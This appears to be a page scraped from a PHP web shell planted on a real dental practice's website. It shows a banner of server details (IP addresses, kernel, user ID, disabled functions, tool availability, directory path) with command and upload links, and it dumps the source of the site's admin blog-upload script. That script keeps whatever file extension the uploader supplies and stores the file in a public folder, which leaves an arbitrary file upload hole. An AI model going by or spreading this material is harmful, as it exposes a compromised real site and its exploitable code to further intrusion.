1Server IP : 217.21.90.164 / Your IP : 18.221.134.60 Web Server : LiteSpeed System : Linux in-mum-web840.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u367232671 ( 367232671) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u367232671/domains/zeropaindentist.com/public_html/admin/inc/../ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include './../dbh/conn.php'; $title= mysqli_real_escape_string($conn,$_REQUEST['title']); $shortDec = mysqli_real_escape_string($conn,$_REQUEST['shortDesc']); $decs = mysqli_real_escape_string($conn,$_REQUEST['desc']); $autor = mysqli_real_escape_string($conn,$_REQUEST['author']); $files_n = $_FILES['files']['name']; $files_n = explode('.', $files_n); $files_n_c = count($files_n); $files_n_c = $files_n_c - 1; $files_n = 'a.' . $files_n[$files_n_c]; $files_n = 's' . md5(date('dmy-hsi')) . $files_n; $files_e = $_FILES['files']['error']; $files_t = $_FILES['files']['tmp_name']; $move = move_uploaded_file($files_t, "../img/blogs/$files_n"); $sql = "INSERT INTO `blogs`(`title`, `shortDec`, `autor`, `decs`, `img`) VALUES ('$title', '$shortDec', '$autor', '$decs', '$files_n')"; $result = mysqli_query($conn, $sql); if ($result) { header('Location:./blogs.php?msg=Added Blog &msg_class=success&msg_h=blog Created'); } else { header('Location:./blogs.php?msg=Sorry Cannot Added blog &msg_class=danger&msg_h=Fail to create blog'); }